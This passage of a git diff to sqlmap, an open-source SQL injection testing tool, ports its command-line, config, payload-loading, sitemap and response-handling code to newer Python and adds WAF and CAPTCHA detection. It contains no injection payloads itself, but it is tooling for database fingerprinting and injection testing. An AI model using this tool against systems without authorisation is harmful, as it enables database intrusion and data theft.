dataToStdout("[!] invalid option(s) provided\n") - dataToStdout("[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n") + if not re.search(r"(?i)\A(\?|help)\Z", command): + dataToStdout("[!] invalid option(s) provided\n") + dataToStdout("[i] valid example: '-u http://www.site.com/vuln.php?id=1 --banner'\n") else: saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) @@ -817,29 +994,77 @@ def _(self, *args): for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError as ex: - raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message) + raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex)) + + longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) + longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help())) for i in xrange(len(argv)): + # Reference: https://en.wiktionary.org/wiki/- + argv[i] = re.sub(u"\\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i]) + + # Reference: https://unicode-table.com/en/sets/quotation-marks/ + argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C") + if argv[i] == "-hh": argv[i] = "-h" + elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None: + argv[i] = "--url=%s" % argv[i] elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): - dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i]) + dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]: - dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i]) + dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif re.search(r"\A-\w=.+", argv[i]): dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) raise SystemExit - elif argv[i].startswith("--tamper"): - if tamperIndex is None: - tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) + elif re.search(r"\A-\w{3,}", argv[i]): + if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches): + argv[i] = "-%s" % argv[i] + elif argv[i] in IGNORED_OPTIONS: + argv[i] = "" + elif argv[i] in DEPRECATED_OPTIONS: + argv[i] = "" + elif argv[i] in ("-s", "--silent"): + if i + 1 < len(argv) and argv[i + 1].startswith('-') or i + 1 == len(argv): + argv[i] = "" + conf.verbose = 0 + elif argv[i].startswith("--data-raw"): + argv[i] = argv[i].replace("--data-raw", "--data", 1) + elif argv[i].startswith("--auth-creds"): + argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1) + elif argv[i].startswith("--drop-cookie"): + argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) + elif re.search(r"\A--tamper[^=\s]", argv[i]): + argv[i] = "" + elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): + key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) + index = auxIndexes.get(key, None) + if index is None: + index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) + auxIndexes[key] = index else: - argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) + delimiter = ',' + argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) argv[i] = "" - elif argv[i] == "-H": - if i + 1 < len(argv): + elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")): + if '=' in argv[i]: + extraHeaders.append(argv[i].split('=', 1)[1]) + elif i + 1 < len(argv): extraHeaders.append(argv[i + 1]) + elif argv[i] == "--deps": + argv[i] = "--dependencies" + elif argv[i] == "--disable-colouring": + argv[i] = "--disable-coloring" + elif argv[i] == "-r": + for j in xrange(i + 2, len(argv)): + value = argv[j] + if os.path.isfile(value): + argv[i + 1] += ",%s" % value + argv[j] = '' + else: + break elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True @@ -848,28 +1073,31 @@ def _(self, *args): raise SystemExit elif argv[i] in ("-h", "--help"): advancedHelp = False - for group in parser.option_groups[:]: + for group in get_groups(parser)[:]: found = False - for option in group.option_list: + for option in get_actions(group): if option.dest not in BASIC_HELP_ITEMS: - option.help = SUPPRESS_HELP + option.help = SUPPRESS else: found = True if not found: - parser.option_groups.remove(group) + get_groups(parser).remove(group) + elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-{1,2}\w", argv[i - 1]) is None: + dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i]) + raise SystemExit for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): try: if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit(): - conf.verbose = verbosity.count('v') + 1 + conf.verbose = verbosity.count('v') del argv[argv.index(verbosity)] except (IndexError, ValueError): pass try: - (args, _) = parser.parse_args(argv) + (args, _) = parser.parse_known_args(argv) if hasattr(parser, "parse_known_args") else parser.parse_args(argv) except UnicodeEncodeError as ex: - dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape")) + dataToStdout("\n[!] %s\n" % getUnicode(ex.object.encode("unicode-escape"))) raise SystemExit except SystemExit: if "-h" in argv and not advancedHelp: @@ -890,21 +1118,26 @@ def _(self, *args): if args.dummy: args.url = args.url or DUMMY_URL - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)): - errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). " + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ)): + args.stdinPipe = iter(sys.stdin.readline, None) + else: + args.stdinPipe = None + + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) return args - except (OptionError, TypeError) as ex: + except (ArgumentError, TypeError) as ex: parser.error(ex) except SystemExit: # Protection against Windows dummy double clicking - if IS_WIN: + if IS_WIN and "--non-interactive" not in sys.argv: dataToStdout("\nPress Enter to continue...") - raw_input() + _input() raise debugMsg = "parsing command line" diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 4095c1dcc1c..a3bd3786b4f 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,16 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import checkFile from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import openFile from lib.core.common import unArrayizeValue from lib.core.common import UnicodeRawConfigParser +from lib.core.convert import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger @@ -27,8 +27,6 @@ def configFileProxy(section, option, datatype): advanced dictionary. """ - global config - if config.has_option(section, option): try: if datatype == OPTION_TYPE.BOOLEAN: @@ -66,11 +64,14 @@ def configFileParser(configFile): logger.debug(debugMsg) checkFile(configFile) - configFP = openFile(configFile, "rb") + configFP = openFile(configFile, 'r') try: config = UnicodeRawConfigParser() - config.readfp(configFP) + if hasattr(config, "read_file"): + config.read_file(configFP) + else: + config.readfp(configFP) except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) @@ -81,14 +82,14 @@ def configFileParser(configFile): mandatory = False - for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "sitemapUrl", "wizard"): + for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"): if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option): mandatory = True break if not mandatory: errMsg = "missing a mandatory option in the configuration file " - errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)" + errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): diff --git a/lib/parse/handler.py b/lib/parse/handler.py index ed03812bbe2..f97bf5c7759 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler + from lib.core.common import sanitizeStr class FingerprintHandler(ContentHandler): @@ -19,7 +20,7 @@ class FingerprintHandler(ContentHandler): def __init__(self, banner, info): ContentHandler.__init__(self) - self._banner = sanitizeStr(banner) + self._banner = sanitizeStr(banner or "") self._regexp = None self._match = None self._dbmsVersion = None @@ -29,7 +30,7 @@ def __init__(self, banner, info): def _feedInfo(self, key, value): value = sanitizeStr(value) - if value in (None, "None"): + if value in (None, "None", ""): return if key == "dbmsVersion": @@ -46,7 +47,7 @@ def startElement(self, name, attrs): self._regexp = sanitizeStr(attrs.get("value")) _ = re.match(r"\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes - if _ and _.group(0).lower() in self._banner.lower() or not _: + if _ and self._banner and _.group(0).lower() in self._banner.lower() or not _: self._match = re.search(self._regexp, self._banner, re.I | re.M) else: self._match = None @@ -61,10 +62,10 @@ def startElement(self, name, attrs): self._techVersion = sanitizeStr(attrs.get("tech_version")) self._sp = sanitizeStr(attrs.get("sp")) - if self._dbmsVersion.isdigit(): + if self._dbmsVersion and self._dbmsVersion.isdigit(): self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion))) - if self._techVersion.isdigit(): + if self._techVersion and self._techVersion.isdigit(): self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion)))) else: self._feedInfo("technology", attrs.get("technology")) diff --git a/lib/parse/headers.py b/lib/parse/headers.py index b348f25b230..0a47a0985cc 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import itertools import os from lib.core.common import parseXmlFile @@ -30,9 +29,8 @@ def headersParser(headers): "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } - for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers): - value = headers[header] - xmlfile = kb.headerPaths[header] - handler = FingerprintHandler(value, kb.headersFp) - parseXmlFile(xmlfile, handler) - parseXmlFile(paths.GENERIC_XML, handler) + for header, xmlfile in kb.headerPaths.items(): + if header in headers: + handler = FingerprintHandler(headers[header], kb.headersFp) + parseXmlFile(xmlfile, handler) + parseXmlFile(paths.GENERIC_XML, handler) diff --git a/lib/parse/html.py b/lib/parse/html.py index 3ec61d52fed..38001235485 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,7 @@ from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths +from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD from lib.core.threads import getCurrentThreadData class HTMLHandler(ContentHandler): @@ -26,7 +27,10 @@ def __init__(self, page): self._dbms = None self._page = (page or "") - self._lower_page = self._page.lower() + try: + self._lower_page = self._page.lower() + except SystemError: # https://bugs.python.org/issue18183 + self._lower_page = None self._urldecoded_page = urldecode(self._page) self.dbms = None @@ -49,20 +53,33 @@ def startElement(self, name, attrs): keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() - if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I): + if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I): self.dbms = self._dbms self._markAsErrorPage() + kb.forkNote = kb.forkNote or attrs.get("fork") def htmlParser(page): """ This function calls a class that parses the input HTML page to fingerprint the back-end database management system + + >>> from lib.core.enums import DBMS + >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL + True + >>> threadData = getCurrentThreadData() + >>> threadData.lastErrorPage = None """ + page = page[:HEURISTIC_PAGE_SIZE_THRESHOLD] + xmlfile = paths.ERRORS_XML handler = HTMLHandler(page) key = hash(page) + # generic SQL warning/error messages + if re.search(r"SQL (warning|error|syntax)", page, re.I): + handler._markAsErrorPage() + if key in kb.cache.parsedDbms: retVal = kb.cache.parsedDbms[key] if retVal: @@ -79,8 +96,4 @@ def htmlParser(page): kb.cache.parsedDbms[key] = handler.dbms - # generic SQL warning/error messages - if re.search(r"SQL (warning|error|syntax)", page, re.I): - handler._markAsErrorPage() - return handler.dbms diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 3d500987813..24ee83e1a6d 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -11,6 +11,7 @@ from xml.etree import ElementTree as et from lib.core.common import getSafeExString +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import paths from lib.core.datatype import AttribDict @@ -24,8 +25,8 @@ def cleanupVals(text, tag): if tag in ("clause", "where"): text = text.split(',') - if isinstance(text, basestring): - text = int(text) if text.isdigit() else text + if hasattr(text, "isdigit") and text.isdigit(): + text = int(text) elif isinstance(text, list): count = 0 @@ -40,10 +41,10 @@ def cleanupVals(text, tag): return text def parseXmlNode(node): - for element in node.getiterator("boundary"): + for element in node.findall("boundary"): boundary = AttribDict() - for child in element.getchildren(): + for child in element.findall("*"): if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values @@ -52,21 +53,22 @@ def parseXmlNode(node): conf.boundaries.append(boundary) - for element in node.getiterator("test"): + for element in node.findall("test"): test = AttribDict() - for child in element.getchildren(): + for child in element.findall("*"): if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: - if len(child.getchildren()) == 0: + progeny = child.findall("*") + if len(progeny) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() - for gchild in child.getchildren(): + for gchild in progeny: if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] @@ -76,6 +78,15 @@ def parseXmlNode(node): conf.tests.append(test) def loadBoundaries(): + """ + Loads boundaries from XML + + >>> conf.boundaries = [] + >>> loadBoundaries() + >>> len(conf.boundaries) > 0 + True + """ + try: doc = et.parse(paths.BOUNDARIES_XML) except Exception as ex: @@ -88,6 +99,15 @@ def loadBoundaries(): parseXmlNode(root) def loadPayloads(): + """ + Loads payloads/tests from XML + + >>> conf.tests = [] + >>> loadPayloads() + >>> len(conf.tests) > 0 + True + """ + for payloadFile in PAYLOAD_XML_FILES: payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index a9b95890ef4..4324eddee26 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,23 +1,23 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import httplib import re from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet from lib.core.exception import SqlmapSyntaxException from lib.request.connect import Connect as Request -from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import http_client as _http_client abortedFlag = None -def parseSitemap(url, retVal=None): +def parseSitemap(url, retVal=None, visited=None): global abortedFlag if retVal is not None: @@ -26,31 +26,47 @@ def parseSitemap(url, retVal=None): try: if retVal is None: abortedFlag = False - retVal = oset() + retVal = OrderedSet() + visited = set() + + if url in visited: + return retVal + + visited.add(url) try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" - except httplib.InvalidURL: + except _http_client.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException(errMsg) - for match in re.finditer(r"\s*([^<]+)", content or ""): - if abortedFlag: - break - url = match.group(1).strip() - if url.endswith(".xml") and "sitemap" in url.lower(): - if kb.followSitemapRecursion is None: - message = "sitemap recursion detected. Do you want to follow? [y/N] " - kb.followSitemapRecursion = readInput(message, default='N', boolean=True) - if kb.followSitemapRecursion: - parseSitemap(url, retVal) - else: - retVal.add(url) + if content: + content = re.sub(r"", "", content, flags=re.DOTALL) + + for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I): + if abortedFlag: + break + + foundUrl = match.group(1).strip() + + # Basic validation to avoid junk + if not foundUrl.startswith("http"): + continue + + if foundUrl.endswith(".xml") and "sitemap" in foundUrl.lower(): + if kb.followSitemapRecursion is None: + message = "sitemap recursion detected. Do you want to follow? [y/N] " + kb.followSitemapRecursion = readInput(message, default='N', boolean=True) + + if kb.followSitemapRecursion: + parseSitemap(foundUrl, retVal, visited) + else: + retVal.add(foundUrl) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" - logger.warn(warnMsg) + logger.warning(warnMsg) return retVal diff --git a/lib/request/__init__.py b/lib/request/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index 40fdd57d051..758f993ca61 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,24 +1,23 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import gzip +import io import logging import re -import StringIO -import struct import zlib from lib.core.common import Backend from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult +from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import isListLike from lib.core.common import randomStr from lib.core.common import readInput @@ -26,10 +25,16 @@ from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue +from lib.core.convert import decodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import cachedmethod +from lib.core.decorators import lockedmethod +from lib.core.dicts import HTML_ENTITIES from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE @@ -37,18 +42,25 @@ from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX +from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD +from lib.core.settings import IDENTYWAF_PARSE_LIMIT from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT +from lib.core.settings import PRINTABLE_BYTES from lib.core.settings import SELECT_FROM_TABLE_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VIEWSTATE_REGEX from lib.parse.headers import headersParser from lib.parse.html import htmlParser -from lib.utils.htmlentities import htmlEntities +from thirdparty import six from thirdparty.chardet import detect -from thirdparty.odict.odict import OrderedDict +from thirdparty.identywaf import identYwaf +from thirdparty.odict import OrderedDict +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client +@lockedmethod def forgeHeaders(items=None, base=None): """ Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing @@ -95,16 +107,16 @@ def title(self): if conf.cj: if HTTP_HEADER.COOKIE in headers: for cookie in conf.cj: - if cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain): + if cookie is None or cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain): continue if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): if conf.loadCookies: - conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)) + conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) elif kb.mergeCookies is None: - message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE - message += "The target URL provided its own cookies within " - message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE + message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE + message += "target URL provides its own cookies within " + message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE message += "Do you want to merge them in further requests? [Y/n] " kb.mergeCookies = readInput(message, default='Y', boolean=True) @@ -154,6 +166,9 @@ def checkCharEncoding(encoding, warn=True): 'utf8' """ + if isinstance(encoding, six.binary_type): + encoding = getUnicode(encoding) + if isListLike(encoding): encoding = unArrayizeValue(encoding) @@ -218,13 +233,13 @@ def checkCharEncoding(encoding, warn=True): # Reference: http://www.iana.org/assignments/character-sets # Reference: http://docs.python.org/library/codecs.html try: - codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding) - except (LookupError, ValueError): + codecs.lookup(encoding) + except: encoding = None if encoding: try: - unicode(randomStr(), encoding) + six.text_type(getBytes(randomStr()), encoding) except: if warn: warnMsg = "invalid web page charset '%s'" % encoding @@ -233,39 +248,45 @@ def checkCharEncoding(encoding, warn=True): return encoding +@lockedmethod def getHeuristicCharEncoding(page): """ Returns page encoding charset detected by usage of heuristics - Reference: http://chardet.feedparser.org/docs/ + + Reference: https://chardet.readthedocs.io/en/latest/usage.html + + >>> getHeuristicCharEncoding(b"") + 'ascii' """ - key = hash(page) - retVal = kb.cache.encoding.get(key) or detect(page)["encoding"] - kb.cache.encoding[key] = retVal + key = (len(page), hash(page)) - if retVal: + retVal = kb.cache.encoding.get(key) + if retVal is None: + retVal = detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] + kb.cache.encoding[key] = retVal + + if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""): infoMsg = "heuristics detected web page charset '%s'" % retVal singleTimeLogMessage(infoMsg, logging.INFO, retVal) return retVal -def decodePage(page, contentEncoding, contentType): +def decodePage(page, contentEncoding, contentType, percentDecode=True): """ Decode compressed/charset HTTP response + + >>> getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")) + 'foo&bar' + >>> getText(decodePage(b" ", None, "text/html; charset=utf-8")) + '\\t' """ if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) - if isinstance(contentEncoding, basestring) and contentEncoding: - contentEncoding = contentEncoding.lower() - else: - contentEncoding = "" - - if isinstance(contentType, basestring) and contentType: - contentType = contentType.lower() - else: - contentType = "" + contentEncoding = getText(contentEncoding).lower() if contentEncoding else "" + contentType = getText(contentType).lower() if contentType else "" if contentEncoding in ("gzip", "x-gzip", "deflate"): if not kb.pageCompress: @@ -273,16 +294,18 @@ def decodePage(page, contentEncoding, contentType): try: if contentEncoding == "deflate": - data = StringIO.StringIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations + obj = zlib.decompressobj(-15) + page = obj.decompress(page, MAX_CONNECTION_TOTAL_SIZE + 1) + page += obj.flush() + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") else: - data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page)) - size = struct.unpack(" MAX_CONNECTION_TOTAL_SIZE: + data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) + page = data.read(MAX_CONNECTION_TOTAL_SIZE + 1) + if len(page) > MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") - - page = data.read() except Exception as ex: - if " 255 else _.group(0), page) + page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page) + else: + page = getUnicode(page, kb.pageEncoding) return page -def processResponse(page, responseHeaders, status=None): +def processResponse(page, responseHeaders, code=None, status=None): kb.processResponseCounter += 1 - page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) @@ -371,6 +395,21 @@ def processResponse(page, responseHeaders, status=None): if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) + if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) + + with kb.locks.identYwaf: + identYwaf.non_blind.clear() + try: + if identYwaf.non_blind_check(rawResponse, silent=True): + for waf in set(identYwaf.non_blind): + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) + except Exception as ex: + singleTimeWarnMessage("internal error occurred in WAF/IPS detection ('%s')" % getSafeExString(ex)) + if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) @@ -399,12 +438,17 @@ def processResponse(page, responseHeaders, status=None): for match in re.finditer(r"(?si)", page): if re.search(r"(?i)captcha", match.group(0)): kb.captchaDetected = True - warnMsg = "potential CAPTCHA protection mechanism detected" - if re.search(r"(?i)[^<]*CloudFlare", page): - warnMsg += " (CloudFlare)" - singleTimeWarnMessage(warnMsg) break + if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page): + kb.captchaDetected = True + + if kb.captchaDetected: + warnMsg = "potential CAPTCHA protection mechanism detected" + if re.search(r"(?i)<title>[^<]*CloudFlare", page): + warnMsg += " (CloudFlare)" + singleTimeWarnMessage(warnMsg) + if re.search(BLOCKED_IP_REGEX, page): warnMsg = "it appears that you have been blocked by the target server" singleTimeWarnMessage(warnMsg) diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index e686226526f..878e5a8a54b 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import urllib2 +from thirdparty.six.moves import urllib as _urllib -class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler): +class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler): """ Reference: http://selenic.com/hg/rev/6c51a5056020 Fix for a: http://bugs.python.org/issue8797 """ + def __init__(self, *args, **kwargs): - urllib2.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) + _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) self.retried_req = set() self.retried_count = 0 @@ -30,8 +31,8 @@ def http_error_auth_reqed(self, auth_header, host, req, headers): self.retried_count = 0 else: if self.retried_count > 5: - raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) + raise _urllib.error.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) else: self.retried_count += 1 - return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) + return _urllib.request.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) diff --git a/lib/request/chunkedhandler.py 